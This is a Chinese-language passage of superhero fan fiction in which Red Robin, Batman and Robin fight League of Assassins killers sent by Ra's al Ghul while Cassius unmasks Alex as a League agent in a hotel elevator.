他记得在原本的剧情是，拉尔斯为了报复红罗宾，派出一只驻守在哥谭的刺客军队和刺客联盟最厉害的七位杀手，同时去刺杀对布鲁斯重要的人。他扬言要教训红罗宾，让布鲁斯所珍视的一切都因他而毁灭。 但在原本的剧情中，并没有他的存在。 如果拉尔斯打算通过毁灭布鲁斯珍视的人和事来报复提姆，那麽他又会怎麽报复他呢？ 这个时候如果他去韦恩庄园，很有可能把更大的麻烦引过去。 而且他始终记着自己的目标，亲手杀死拉尔斯。 去了韦恩庄园，在现任蝙蝠侠的监管之下，恐怕很难达成这个目的。 罗宾嗤笑一声：“这麽多年以来，想杀死祖父的人不计其数，但最后死的都是他们自己。我劝你最好还是放弃这个想法，活着不好吗？” “活着确实挺好的，但你的祖父根本就没想让我好好活着。”卡修斯接着说，“而且，你当他是祖父，他却只把你当容器。” 既然达米安已经决定以后都做罗宾，他也不藏着掖着了，直接将拉尔斯的图谋告诉他。 “你以为你的母亲为什麽三番四次的想要杀死我，因为她怀疑你的祖父能利用我，实现从你身上重生的目的！” 说完这句话后，他就看到罗宾露在多米诺面具之外的皮肤肉眼可见的变得苍白起来。 不过卡修斯并不后悔告诉他真相。他不想再替真正重视达米安的人来粉饰太平，维护拉尔斯在他心中的形象了。 就在卡修斯以为达米安会愤怒地驳斥他时，就听到他用一种自己从没听过的沮丧声调说：“我……我已经知道了。” 卡修斯歪了歪头，脸上的疑惑非常明显。 “是阿尔弗告诉我的。”达米安说。 “哦。”卡修斯干巴巴地说。 他觉得自己没办法因为这件事，给达米安任何安慰，因为自己也是受害者。 “如果没什麽事的话，我要休息了？”卡修斯委婉地送客。 他神经紧绷了那麽多天，真的需要好好休息一下了。 达米安一言不发的准备离开。他一脚跨上窗台，就在跳下去之前，他微微侧头，对卡修斯说：“对了，祖父已经许多年不近色。欲，他让你成为他的哈莱姆，一定有其他企图，既然他在哥谭，你最好小心点。” 我当然知道他有其他企图，就怕他真的和卢瑟讨教了男男生子的方式，做出什麽离谱的操作。 眼看达米安已经从窗棂上跳了下去，他才敢继续在心里吐槽。 在落地前听到他心声的达米安脚下一歪，差点崴了脚。 卡修斯远远看到罗宾绿色的长靴翻上对面的楼顶上疾驰，直到消失在自己视野里，本来故意表现的很轻松的神情变得严肃起来。 他回想着刚才达米安脱口而出的“我才不会像你一样”到底是什麽意思。 自从他回忆起自己真正穿越的时间点后，一直认为现在的自己就是百分百原装的，穿越前的自己。 可达米安不经意间脱口而出的这句话，让他有了一种不太好的感觉。 他记得当初和达米安一起去营救塔利亚时，自己问过她，关于自己的身份问题。 当时塔利亚嘴上说他是拉尔斯的贴身侍卫，但心里想的却是他是拉尔斯五年前在沙漠中偶然捡到的。 因为他更相信塔利亚心中所想，所以很自然地认为她说出口的话是骗他的。 可塔利亚有什麽理由在这种无关紧要的问题上欺骗他呢？ 如果塔利亚嘴上说的和心里想的，其实都是真的呢？ 否则，她为什麽那麽笃定拉尔斯如果要借达米安的身体复活，一定会跟他有关？ 卡修斯忽然觉得一阵毛骨悚然。 就在这时，他的手机震动了一下。 他打开一看，是一个陌生号码。 本来想直接删除，但一眼瞥到这个号码似乎发了一张照片过来，而照片的一角上，居然有他熟悉的符号——和他身后尾椎处一模一样的钥匙痕迹。 他立即点开来查看。 那确实是一张照片，照片上那个钥匙的符号是一个盒子的底部。 这个未知号码居然是爱丽克丝发来的。 短信上说，她和莫兹、尼尔，已经拿到了属于他们的宝物，特地发消息对卡修斯表示了感谢，然后又问他知不知道这个盒子是什麽。 卡修斯立即打电话过去。 “你好，这里是爱丽克丝。” 通信对面一个轻快的女声响起。 “我是卡修斯。” “噢，你终于给我打电话了，前两天打给你，一直提示我信号不在服务区，你最近过的怎样……” 卡修斯直接打断了她的寒暄：“那个盒子是哪儿来的？” “是我们清点我们那份宝物时发现的，当时你和提姆先生蹲在潜艇外开舱门的时候，我不小心看到过你身上的纹身，有些印象，所以看到这东西的时候还挺惊讶的。想发给你看看。” 卡修斯沉默了一会儿，才问：“盒子里有什麽东西？” “我也不知道，盒子上了锁，我暂时没有破坏它，只用一些科技手段扫描了一下，但是很奇怪，里面跟涂了铅似的，什麽也看不到。” 爱丽克丝的声音有些疑惑。 卡修斯考虑了一阵，商量道：“这个盒子可以给我吗？你可以在其他宝物里面再挑一到两件作为补偿。” “当然可以，补偿什麽就算了，我只是很好奇里面会有什麽东西。你如果什麽时候打开了它，务必告诉我。”爱丽克丝爽快道。 “好，那你看这两天什麽时候方便，我来纽约找你取。”卡修斯说。 “不用，我最近刚好在哥谭，我听尼克说，你暂时住在哥谭是吗？你可以直接来找我。” 卡修斯忽然沉默了。 这是不是有点过分巧合了？ 他记得大学里学过一个理论：一切偶然，都是必然。 他又看了眼那个未知号码，缓缓说了声：“好。” * 刚从韦恩集团后门离开的提姆已经重新戴好面罩，把自己恢复成了红罗宾的样子。 之所以从集团后门偷偷离开，是因为哥谭公报的记者维姬·维尔再次意外造访了韦恩大厦。 维姬是收到“线报”，知道卢修斯今晚忽然离开住所来到韦恩大厦，所以特意来“埋伏”他的，想要知道他这麽晚来办公室，究竟是为了和谁见面，幸运的是，她在楼顶天台上用望远镜观察的时候，刚好看到卢修斯与他的小女儿塔姆·福克斯来到办公室。他的女儿似乎在情绪激动的诉说着什麽，而卢修斯一直在旁边拍着她的后背，试图安抚她。 很快，他的办公室出现了第三个人，只是当那个人推门而入的时候，卢修斯谨慎的拉起了窗帘。所以维姬才遗憾的没有看到和他会面的到底是谁。 不过这点困难难不倒哥谭公报的首席调查记者，她最终还是想办法避过安保，悄悄进入了韦恩大厦，打算直接造访卢修斯的办公室，这样，她就能第一时间确定自己的猜测——卢修斯和在哥谭消失了很久的提姆·德雷克-韦恩会面。 她有预感，一旦她亲眼见证这次会面，一定会发现一个惊天秘密，而这个秘密绝对和哥谭的义警相关——她已经发现，哥谭的蝙蝠侠和罗宾换了人。 在她发现这个线索的同时，就去追查了布鲁斯·韦恩和他的养子提姆·德雷克的踪迹。几经波折之后，她虽然如愿见到了布鲁斯本人，但总觉得如今自己面前的韦恩跟以前的不太一样。虽然他还是像以前一样纨绔，轻浮和不知所谓，但出于一个调查记者的敏锐直觉，维姬就是觉得有什麽地方不太对。 所以她改变目标，去追查提姆·德雷克-韦恩，但无论是从公司员工还是他的学校密友嘴里，都无法得知他的踪迹。 维姬觉得自己的调查方向对了，只要找到提姆·得雷克，自己心中关于曾经那个蝙蝠侠和罗宾的秘密身份或许就会有答案。 她进入韦恩大厦的第一时间，卢修斯和提姆就注意到了，所幸他们已经讲完了重要的事情。提姆带上了红罗宾的面具，从卢修斯办公室的秘密信道离开，打算暂避这位难缠记者的锋芒。 就是得辛苦塔姆和卢修斯，得继续面对女记者的质询。 他在发源地被授予联盟最高权限的时候，就悄悄摸清了刺客联盟在哥谭所有的空壳公司门面以及产业。他现在就要趁其不备，先发制人的找到他。因为提姆毫不怀疑，在拉尔斯得知发源地被毁的第一时间，就开启了自己的报复行动。而现在，距离发源地被毁已经过去了将近10个小时。 拉尔斯不可能什麽都没做。所以他要先找到他，为卢修斯争取时间。 他如同一道迅捷的暗影，在滴水兽的背脊和哥谭高楼的楼顶之间无声地穿梭。根据他在发源地的主控计算机中查找到的线索，提姆第一个要“拜访”的地点就是狄克逊码头旁边最高那栋楼里的一家进出口公司，那里就是拉尔斯的空壳公司之一。那里的地下深处连接着哥谭废弃的下水道网络，根据他的判断，那里很有可能是刺客们的中转节点。拉尔斯如果要在哥谭指挥全局，那里的可能性最大。 随着红罗宾停下的脚步，风声也静止了。不过红罗宾还是能闻到空气里哥谭河特有的咸腥味道。他落在他目标的建筑的对面，整个身体处于备战状态，无声地观察着自己的目标对象。 太安静了。 那里的守卫松懈的近乎刻意，只有两个穿着普通保安制服的人在入口处闲聊。这与拉尔斯一贯的谨慎和对安全的苛求完全不符。看上去就像是一个守株待兔的陷阱。 红罗宾立刻大胆的判断，拉尔斯应该不在这里。 就在他准备悄然离开，去第二个目标地点的时候，长年训练出来的对危险的本能让他警铃大作，护目镜下的眼神瞬间锐利如刀。他本能地抽出身后的长棍猛地一挥，同时身体向左侧翻滚。 他能感觉到长棍抽中了原本在自己身后企图偷袭他的敌人。 对方闷哼一声，像是没想到红罗宾竟然能这麽及时的发现他，被狠狠打中的时候原本悬空准备扑杀罗宾的动作被破坏，整个人朝着楼外摔去。 就在红罗宾离开原地的刹那，几支抹着诡异幽绿色泽的弩箭咻咻地撕裂空气，钉入他刚才所在的位置。 数道鬼魅般的身影像是从墙壁，阴影，甚至是空气中析出，四面八方地朝他扑来。他们的动作迅捷无声，配合默契，封锁了红罗宾所有可能离开的退路。 他们穿着统一的黑色刺客制服，只有带头的两个人身穿独特的制服，并且大方的露着脸。 红罗宾认得他们，在主控计算机的数据中有他们的数据，他们是刺客联盟最精锐的死亡七人组中的两个。 看来拉尔斯这一次是铁了心要他的命。 “等候多时了，红罗宾。拉尔斯·奥·古向你致以问候。”为首的金发男子手持弯刀，手指微动，和剩下的六个人齐齐朝着红罗宾扑了过去。 他的心脏猛地一沉。 拉尔斯不仅预料到他会来，甚至准确地算到了他的第一站吗？ 红罗宾觉得不太可能。那麽唯一的解释就是，他在所有的地方都部署了同样的杀手，死亡七人组很有可能全体出动了。 他没时间继续分析，身体已经在大脑下达指令前做出了反应。 金属长棍在他手中化作一道银色的闪电尖啸而出，准确地格开刺向自己要害的长刀，又挡开劈砍而来的弯刀。棍端的电磁脉冲近距离爆发，瞬间让一个试图用电击指虎偷袭自己的精锐杀手抽搐着倒下。 红罗宾在并不算宽敞的楼顶空间反击和闪避，但敌人太多了，而且个个悍不畏死。他们显然接到了死命令，要不惜一切代价，将自己留在这里。 他很快陷入苦战，尽管长棍挥舞的密不透风，但也只能勉强维持一个脆弱的防御圈。刺客们如同闻到血腥味的鲨鱼，攻势一波猛过一波。 一个刺客为了给同伴制造机会，用身体硬抗红罗宾的一记重棍。口喷鲜血的同时，却死死抱住了棍身，制住罗宾的动作，让他无法轻易闪避。 另一个杀手伺机而上，武士刀只砍提姆的肋下。 提姆意识到自己很难毫发无损的躲过这次攻击，就在他尽力偏转身体，避过利刃对自己要害的穿刺时，一声枪响在他耳边响起。 原本刺入他身体的长刀赫然停下。 红罗宾愕然转头，居然是一个同样装束的黑衣杀手拿着枪，替自己解决了危机。 她摘下自己的面罩，提姆脱口道：“普鲁？” 刺客们对同伴的骤然反水来不及反应，眨眼间已经被击中了好几个。子弹用完后，她抽出腰间短刃，直接刺向朝她扑来的，这一队的刺客首领。 “留活口！”提姆上前，一把格挡住她切向对方动脉的利刃。 普鲁的眼神如刀：“他们要杀你，你还要管他们的死活？” 她的语气中充满了被背叛的质疑。 “不，我要从他口中得知，拉尔斯这次刺杀的全部目标，以及他本人在哪儿？” 提姆几乎可以肯定，这里的杀手都是为了拖住他的。他有种强烈的预感，拉尔斯一定亲自去找卡修斯了！ 第102章 这一切都像是为我量身定制的剧本。 普鲁不情愿的将匕首从提姆的长棍上移开。但她趁提姆没注意到的时候，抬起另一只持枪的手，枪里已经被她重新填好了子弹。她砰砰两枪打中对方的腿，废掉了对方的行动能力。 “这样审讯起来就方便多了。”她转身和提姆背靠背，继续处理剩下的刺客。 因为普鲁的意外倒戈和两名死亡组杀手的落败，剩下的杀手们明显弱势了许多。当他们发现很难再困住对方时，其中自动接替指挥权的刺客做了个手势，所有人立即散开，以最快的速度将自己重新隐匿了起来。 提姆没有去追他们，而是拽起被普鲁打穿膝盖的刺客，咆哮道：“拉尔斯的命令是什麽？！” 那人不肯开口，提姆松开他，甩开长棍，狠狠挥下去，伴随着正常人无法听清的微弱响声，杀手的肋骨一下子断了两根。 对方痛苦地惨叫出声。 “你可以不说，但你身上有二百多根骨头，我可以一根根的全部打断，看看到底是你的骨头硬还是我的长棍硬。” 红罗宾恶狠狠的威胁从他的齿缝中挤出来。 作为罗宾的时候，他跟着蝙蝠侠打击罪犯，通常是适时的拦着蝙蝠侠，别在气的狠的时候把手里的罪犯打死的那个。但现在，红罗宾下手似乎比当初的蝙蝠侠还狠。 拉尔斯碰到了他不能被碰触的底线。无论是家人还是卡修斯，提姆都没办法在意识到对方可能被伤害时，还能保持理智。 在提姆再次挥拳，几颗牙齿从口中飞出去后，对方终于开口了：“主人要摧毁布鲁斯的传承！” 他口齿不清，声音颤抖。 作为杀手，他曾无数次冷酷又漫不经心的收割别人的性命，但轮到他自己直面死亡时，居然也生出恐惧。 他从红罗宾的肢体语言看出，如果自己死咬着不说，他是真的会一根根打断他全部的骨头，将他杀死。 而且主人并没有下命令对任务内容保密，他能感受到，恶魔之首甚至有些期待红罗宾能知道他们的任务目标是什麽。 因为恶魔之首对成功胸有成竹，他想要看到红罗宾明明知道一切，却无力阻止的痛苦表情。 “所有和布鲁斯·韦恩关系密切的人！所有你在乎的人，管家，警察和他的女儿，儿子，医生，监管者……”他一口气说了十二个名词，喘了口气，被血糊满的脸上露出对拉尔斯狠毒的赞赏和敬佩，“恶魔之首血洗哥谭来宣告他的愤怒，要让布鲁斯·韦恩珍视的一切，都因你的‘背叛’而毁灭！” 对方每说出一个名词，红罗宾的心脏似乎就被攥紧一分，直到他的话音全部落下，提姆才感觉到自己嘴里的血腥味——他努力克制自己的恐惧和愤怒，将口腔两侧咬的血肉模糊。 普鲁在旁边早已经不耐烦了，她再次举起枪：“既然说完了，你就可以去死了。” 但她还没来得及扣动扳机，就觉得手腕一痛，握着枪的手指也感到一阵酥麻，手中的枪械落地。 一枚蝙蝠镖落在了她掉在地上的枪旁边。 一阵破空声撕裂夜幕，普鲁反射性的抬手去挡，却被一根顶端带着倒勾的拌索缠住了手腕。在她还没来得及反应的时候，拽离了红罗宾和他面前的刺客好几米远的距离。 一道高大的身影重重落在天台，漆黑的披风在夜风中猎猎作响，胸前黑色的蝙蝠标志在月光的反射下泛着冷硬的光泽。在他落地的同时，身边一道底色是亮黄色的披风也轻盈的落下。 “红罗宾，才离开哥谭多久，就忘了，在这里，我们绝不可以杀人了吗？你和你的……”蝙蝠侠顿了一下，才接着说。“同伴，越界了。” 提姆还没来得及说话，蝙蝠侠身边的罗宾已经尖利的喊了一声：“你是刺客联盟的杀手！” 随即朝着普鲁扑了上去。 普鲁这会儿已经解开了缚着她手腕的绳索，见罗宾朝自己扑过来，立即就地翻滚几圈，躲开了他的攻击。 罗宾捡起一把散落在地上的武士刀，朝着普鲁看过去，一边冲一边还斥责红罗宾：“你竟敢与刺客为伍？忘了蝙蝠侠对你的教导了吗？！” “红罗宾，这个矮侏儒是不是疯了？”普鲁一边躲避一边也朝提姆叫着。不过他从罗宾的攻击里，居然同样看到了刺客联盟的影子。 “呵，你在说谁，难道你自己不是吗？蝙蝠侠，你居然让一个刺客联盟的杀手做你的罗宾，看来外面对你的传言也不全是真的。”普鲁忍无可忍的举起刀和罗宾开始对战，一边还不忘嘲讽蝙蝠侠。 “罗宾！停下！” 在普鲁又一次从自己面前闪过，他的手臂如同铁钳般猛地伸出，准确的按住了坠在女刺客身后的罗宾，阻止了他鲁莽的冲锋。 “红罗宾，解释。”迪克的声音透过变声器，已经变得和蝙蝠侠如出一辙的充满压迫感，但更多的是询问而非斥责。他足够了解自己的这个弟弟，知道他绝不会无故背离他们的原则。 红罗宾深吸一口气，肺部因为激烈的战斗和剧烈的情绪波动而火辣辣的疼。他现在没时间和蝙蝠侠详细的解释，拉尔斯的刺客军队已经在哥谭有序的散开，每一秒的耽搁都意味着无法挽回的损失。 “没时间详细解释了！”红罗宾的声音急促而清晰，“拉尔斯派出了死亡七人组……” “你说什麽？！”达米安立即转头看向他。 作为刺客联盟曾经的继承人，他当然知道死亡七人组是什麽。他们是刺客联盟最忠诚也是战斗力最高的杀手，通常只负责拱卫祖父或执行最高级别的灭绝任务，他们非常神秘，即便是他，也只是听说过他们，从没见过。祖父曾说，当他成为一个合格的继承人，才有资格见到这七个人。 “……还有他部署在哥谭的刺客军队，他的目标是——”但红罗宾没有理会达米安的打断，继续说道，“所有和布鲁斯·韦恩关系密切的人。名单很长，他们已经开始行动了！” 蝙蝠侠的脸色瞬间变得难看起来，因为在红罗宾话音落下的同时，他就发现自己和蝙蝠洞失联了。 “我们和蝙蝠洞失联了！” 他转身想要离开。 “蝙蝠洞，安全。”耳机里忽然响起了一个年轻的声音，蝙蝠侠听出来，那是超级小子康纳·肯特。 “便士一，你怎麽样？” 蝙蝠侠马上在频道中调用他。 “我很好，先生，超级小子出现的很及时，已经打倒了所有的潜入洞xue的杀手。我注意到几天前，蝙蝠洞的安全系统就被覆写过，所以在系统短暂失效后，新程序中的备用安全线路立即就启动了。我猜这是红罗宾的杰作。” 便士一的声音依然沉稳。 得知阿尔弗没事，迪克放下心来，他再次专注于眼前的任务，看着红罗宾问道：“需要我们做什麽？” 没有人再关心他为什麽会和一个杀手同行，蝙蝠侠直接问道：“你们也是他的目标，保护好自己，以及，通知所有你能通知到的人，最高警戒。” 说着，红罗宾就准备直接从天台跳下去。 “你去做什麽？”蝙蝠侠一把攥住他的手臂，对着他焦灼的很明显的表情追问道。 提姆不能告诉迪克自己打算去找拉尔斯。那太危险，迪克也绝对不会同意，甚至会强行阻止他，或者要求同行。他不确定自己能不能赢，尤其是在那麽多重要的人生命受威胁的情况下。更重要的是，他内心深处有一个更急迫的呼唤——卡修斯。 刚才那个杀手说到了所有人，但唯独漏了卡修斯，这只说明一点，那就是拉尔斯打算亲手料理他。 他不能自私的放着其他人不顾，让蝙蝠侠跟着自己去救人，更不能为这个不确定是不是能成功的营救，搭上别人的性命，但他可以自己去。 “我去找卡修斯！”红罗宾的声音斩钉截铁，带着不容置疑的决心，只不过他选择了另外一种描述方式，“他也是拉尔斯报复名单上的目标之一。我得去支持他。” 迪克早就知道了提姆对卡修斯不一样的情愫，这个理由足够充分，考虑到卡修斯自己的武力值也不弱，迪克相信他们两个联手的话，一定会击退拉尔斯派出来的任何刺客。 果然，蝙蝠侠稍微一考虑，就点头道：“明白。保持通信畅通，随时联系。需要支持立刻调用！” “我会的！”提姆应道。他一手已经拿出了抓鈎枪准备着了，离开前，他又深深地看了一眼迪克。 在伊拉克沙漠的洞xue中，找到的关于布鲁斯迷失在时间中的证据碎片还沉甸甸地压在他的心头。现在不是详谈的时候，但他担心，如果现在不说，有可能以后就没机会了。 “蝙蝠侠，”提姆的声音放缓了一些，带着一种沉甸甸的分量，“听着，在伊拉克，我找到了布鲁斯给我们留下的线索。我把它们交给了康纳。等这一切结束，等我们解决了拉尔斯这个麻烦，我们可以和正义联盟一起想办法，将布鲁斯带回来。” 这明明是这个糟糕夜晚里听到的最好的消息，但不知为什麽，却让迪克有了一种非常不好的感觉。他刚想质问提姆这麽重要的东西为什麽不亲自交给他们而是要让康纳转交，提姆已经挣脱了他的控制，从天台边缘一跃而下，同时射出抓鈎枪，朝着远处的建筑荡去。 “韦恩的儿子。” 蝙蝠侠转身，就看到原本被红罗宾打倒在地的杀手的位置只剩下血迹，刚才和红罗宾一起的女杀手也不见了，十几个黑衣刺客将他包围了起来。 “拉尔斯·奥·古向你致以问候。” 随着话音落下，十几个武器上泛着蓝光，明显是淬过剧毒的刺客同时向他袭来。 蝙蝠侠扔出飞镖，他本想叫罗宾小心，不要沾到那些淬毒兵器，却骤然发现，罗宾不知什麽时候，也离开了这里。 “罗宾！报告你的位置！”蝙蝠侠一边对敌，一边在通信器中调用他的助手。 “不用担心，我也去命运纺车帮忙。红罗宾和吱吱可不是祖父的对手，我才是最了解他的人。” 迪克听到达米安说话间，还带着呼呼的风声，很明显是在极速移动中。 他默默叹了口气，再次调用了红罗宾。 “罗宾也去命运纺车找卡修斯了，你注意一下，保护好他。”蝙蝠侠一边对敌，一边向红罗宾交代。 “我知道了。” 提姆简短回应一句，就挂断了通信。可他的心又提了起来。 他在通信中调用罗宾，但对方完全不回应他。 希望达米安是真的去命运纺车，而不是什麽别的地方。提姆一边朝着与韦恩大厦遥遥相对的另一栋摩天大楼疾驰，一边在心里不太乐观的祈祷着。他猛踩油门，将“红鸟”的马力开到最大。 事实上，提姆的预感并没有错。达米安也正朝着和他相同的地方移动着。 就在刚才，蝙蝠侠和红罗宾说话的时候，那个地上被打的奄奄一息的刺客朝他靴子的鞋带里塞了一张纸条。达米安不动声色的躬身拿起来展开，上面是带有祖父签名的一行字迹——纸条上写着，如果达米安想要救他那只可笑的宠物的话，就去字条上的地址，和祖父“叙叙旧”，并且让他避开蝙蝠侠，独自前来。 达米安知道这有可能是祖父的陷阱，但他的内心深处还对祖父抱有期望，希望他顾念两个人之间的血缘亲情，不会真的把他怎麽样。 当初说听说祖父被丧钟杀死的时候，他是那样不顾一切的憎恨着斯莱德·威尔逊，希望能手刃这个仇敌。即便他现在已经放弃了刺客联盟继承人的身份，他也是真心爱戴和尊敬自己强大的祖父的。 达米安不相信拉尔斯对他一点感情都没有，就像他自己，和卡修斯相处了不到一年的时光，都不希望他受到伤害、死掉，更别说他和祖父朝夕相处了十年。 他天真的认为，祖父最多对他选择成为罗宾感到恼火，想要教训一下他，但绝不会真的伤害他。他也想请求祖父饶恕卡修斯，不要杀死他。 达米安认为，如果有谁能劝得动拉尔斯改变主意只对提姆和卡修斯小惩大诫的话，这个人一定是自己。 因为当初在刺客联盟时，祖父虽然严格，但是在没有任务和训练的时候，还是非常宠爱他的，只要是他提出的要求，祖父一定会想方设法为他达成。 达米安相信，他能收到祖父派人递出来的消息，那麽一定是卡修斯已经被祖父控制了。 即便祖父真的不能原谅提姆和卡修斯，多一个熟悉祖父战斗风格的他加入，也比只有他的两只宠物单独对抗强大的祖父胜算来的多一些。 * 红罗宾觉得，拉尔斯对他的一个误判就是认为他会在被选定的十几个击杀目标之间疲于奔命。 蝙蝠侠曾喜欢孤军奋战，这是布鲁斯给他的印象。所以，恶魔之首习惯性的认为，作为和蝙蝠侠行事逻辑最接近的一任学徒，提姆也会选择单打独斗。 只能说，拉尔斯对蝙蝠侠的印象需要更新。如今的布鲁斯，不但不再固执的选择单干，还拥有了一大群值得信任的战友，而他也一样。 为此，提姆摇了所有他能摇到的人。 闪电小子，超级小子，神奇少女，女猎手，甚至还有正跟着同伴进行“外太空作业”的红头罩和他的夥伴。 提姆将他们统一交给蝙蝠侠安排任务，去保护布鲁斯那些需要保护的亲人和朋友。 他则心无旁骛地朝着艾略特的大厦驶去。 “德雷克！” 就在红罗宾即将接近目的地的时候，罗宾主动联系了他。 “你去了命运纺车？”红罗宾故作轻松的在通信中调侃他。 “希望你不是愚蠢的想要以一己之力和我的祖父对抗！”达米安讥讽道。 提姆几乎都能想象出达米安说这句话时倨傲的神情。 “你才是不要愚蠢的走进拉尔斯专门为你设的陷阱！聪明的话，最好赶紧离开。拉尔斯绝不会因为一点血缘关系而对你仁慈。”他说。 “我在大楼的每个出入口都看到了十几个刺客。”罗宾没有理会他的警告，直接说道，“单凭你一个人，是没办法突破这些刺客，进入到建筑里面的，但我就不同了，我是应约前来，是不会受到阻拦的。” “如果是拉尔斯叫你来的，那一定就是陷阱！”提姆焦急道。 要不是他也是瞒着蝙蝠侠行动的，他现在就想直接调用对方，让他快点阻止达米安愚蠢的行动。 “吱吱有可能已经在祖父手上了，我必须去。”达米安说。 “等一下！我看到他了！”红罗宾忽然再次拿起望远镜，脖子不由自主的使劲往前凑。 他看到卡修斯从一辆豪车上下来，但他并没有前往艾略特大厦，而是走进大厦旁边的酒店大堂。红罗宾确定那个身影就是他的时候，对方已经上了酒店的观光电梯，朝着顶层的方向极速上升。 达米安停住了脚步，等待红罗宾的下一条讯息。 “咦？” 红罗宾不由自主的发出了一声疑惑的声音。 “怎麽？” 红罗宾不确定道：“他不是一个人，身边还站着一个女性。” “谁？” * 从爱丽克丝为他叫的专车上下来，卡修斯就看到了酒店门口站着的女人。 她穿了一身简单利落的黑色连衣裙，外搭一件米白色风衣，妆容精致，与纽约时略显朴素的形象判若两人。 “卡修斯！”爱丽克丝露出热情的笑容，直接迎了上去，“真高兴这麽快又见面了。” “我也是，爱丽克丝。”卡修斯礼貌地接受了她的贴面礼。 汇合后，爱丽克丝带着她穿过这座五星级酒店的大堂，看样子目标是观光电梯。 “我还有其他事，要不然就在大堂让我看看盒子吧。”卡修斯说。 “啊……因为我担心出意外，所以将东西放在了酒店顶层套房的保险箱里。套房的私密性可比大厅好多了。”爱丽克丝说。 卡修斯想了想，点头道：“也对，那走吧。” 他跟着爱丽克丝走进电梯，站在她斜侧方的位置，目光平静地扫过她全身。 她的手腕上带着一只设计简约的腕表，手指纤细干净，指甲修剪得很短，没有任何多余的首饰。这是一个完美的，不引人注意的状态。 电梯门合拢，轻微的失重感传来。巨大的玻璃幕墙外，哥谭的夜景如同一幅暗色油彩在脚下铺展。 电梯内陷入短暂的沉默，只有轻微的机械运行声。爱丽克丝似乎也沉浸在夜景中，将目光投向远方。 就在电梯即将攀至中段时，卡修斯忽然开口，声音不大，却非常清晰的传入了爱丽克丝的耳中。 “尼尔和莫兹知道吗？” 爱丽克丝转过头，脸上带着恰到好处的疑惑：“知道什麽？” 卡修斯没有看她，他的目光依旧落在玻璃外飞速下沉的灯火上，语气平淡得像在谈论天气：“知道他们的朋友，宝藏行动的盟友，其实是刺客联盟暗子。” 爱丽克丝脸上的笑容差点挂不住。她皱起眉头，声音里带着被冒犯的恼怒：“你在说什麽？什麽暗子？我不懂。” “我在说什麽？”卡修斯轻笑一声，终于转头看向她。他直视着爱丽克丝的眼睛，冷静地说，“我在说，你真正的主人，是刺客联盟的塔利亚·奥·古，达米安的母亲。也是她命令你将我引到这里来的人。” 他向前逼近一步，逼得爱丽克丝后背贴向身后的观景玻璃。从外面看过去，没人看得出这其中的压迫感，只会觉得电梯里的是一对情侣，此刻正在调。情。 “我想了一路，爱丽克丝。从你发来那张带有钥匙印记盒子的照片，到你‘刚好’出现在哥谭，再到你主动提出见面。这一切都太巧了，巧得像精心为我设计的剧本。” 爱丽克丝的后背几乎完全贴在了电梯壁上，她强作镇定：“这确实是巧合，我怎麽可能……” “巧合？”卡修斯打断她，语速平稳的说，“让我们复盘一下在纽约的码头那晚，你的‘贡献’。” “第一，报警时机。”卡修斯竖起一根手指，“在我们与文森特对峙，达米安被围攻，局面混乱但尚未失控时，你‘担心情势不对’，让莫兹联系了彼特·博克。FBI的介入确实短暂牵制了部分刺客，但也彻底打乱了我们原本可能悄无声息带走文森特的计划，让场面更混乱。我和杰森都不得不暴露在FBI的视野里。这究竟是出于你口中的‘担心’？还是为了场面彻底失控，方便浑水摸鱼，或者……方便某些人观察？” 第103章 你就惯着他吧！ 爱丽克丝面无表情的看着卡修斯，说：“我当时报警完全是出于好意，文森特带了那麽多杀手，我只是个普通人，遇到这种情况，报警难道不是正常反应麽？” “第二，宝藏归属。”卡修斯没有理会她的解释，竖起第二根手指继续说道，“你祖父追寻一生的宝藏就在眼前，面对达米安的强势和刺客联盟的恐怖力量，你确实表现出了恰到好处的恐惧和符合你人设的争取。但你争取的‘三成’”，语气说是为你自己和尼尔、莫兹争取，不如说更像是在替达米安，或者说他背后的塔利亚，安抚我们这些外人。你很清楚，以达米安当时表现出来的强势和战意，你和莫兹能活着离开已是万幸，根本不可能带走任何东西。你不但提出了，更奇怪的是，达米安居然同意了。这让我不得不怀疑，也许在我不知道的时候，你已经向达米安表明了身份。之后，你又主动承诺‘赴汤蹈火’，更像是对未来主人的效忠宣言。 爱丽克丝的手指不自觉的蜷缩起来。 “这只是你毫无根据地猜测。”她冷硬地否认道。 “第三，也是最重要的，”卡修斯的声音冷了下来，竖起第三根手指，“当时打捞潜艇，小乔迟迟不上来，你要报警，达米安斥责你‘惹的麻烦还不够多吗’的时候，你的反应是顺从和畏惧。你和莫兹一样，都没有在码头见证刺客们认可达米安的身份，向他下跪的场面，但你对达米安表现出了非常自然的恭顺和谦卑。莫兹也知道达米安的身份不一般，但他和达米安交流的时候，还是很自然地把他当作一个10岁小男孩来看待的，和你对达米安的态度完全不一样。这种下意识的反应骗不了人。你知道达米安，或者说，你知道刺客联盟是什麽，也知道达米安代表着什麽——塔利亚的儿子。” “你说的这些都是你自己的感觉，没有任何实质的证据。”爱丽克丝看上去像是打算否认到底。 “你说的没错，我的确没有证据。”卡修斯总结道，“但从结果来看，你所做的一切好像和我们的目标一致，就是把宝藏交到达米安手里。不过我从来不相信什麽巧合，你能从那麽多珍宝里，带走一个平平无奇的盒子，说明你一早就知道这东西不一般。连达米安审讯文森特都没得到的信息，你又是怎麽知道的？” 爱丽克丝沉着脸没说话。 “达米安审讯完文森特后，就把他放在了FBI楼底。可我在来之前已经问过彼特·博克了，文森特在FBI的楼底的监控下，再次被人劫走了。”卡修斯看着她说，“你们确实很谨慎，所做的一切都没有留下什麽实质性证据，但你确确实实坑了文森特。我猜，因为他是拉尔斯的直系下属，是塔利亚掌控联盟财产的障碍。而把我引到这里……” 卡修斯的目光扫过电梯显示的，越来越接近顶层的数字。 “自然是为了把我交给你真正的主人。” 爱丽克丝无奈的笑了一声：“我真是不该好心联系你，现在反而要受到你这种无端的指控。” 说着，她抬起戴着腕表的那只手，将掉在脸颊上的鬓发顺到耳后。她腕表的侧面正对着卡修斯，一根极细的银针从腕表侧面的小孔中飞出。 然而，在她抬手的瞬间，银针飞出的刹那，卡修斯也抬起手臂，用绑在小臂上的袖剑的剑扣设备挡在了自己脸前。 “叮”一声极细的声响过后，银针掉在了地上。 一击不中，爱丽克丝再次射出几根银针，她的动作非常迅捷，显然是受过专业训练的。 不过，她的动作快，卡修斯的动作更快。在银针落地的瞬间，卡修斯已经预判了她的下一个动作，他偏过头，没有向后躲闪，反而欺身向前，他抬起右臂，手掌直击爱丽克丝的颈侧。 爱丽克丝反应极快的一把扣住他的手臂，让他的手刀没有顺利劈下去。 “作为一个盗贼来说，你的身手居然比某些刺客都要敏捷。” 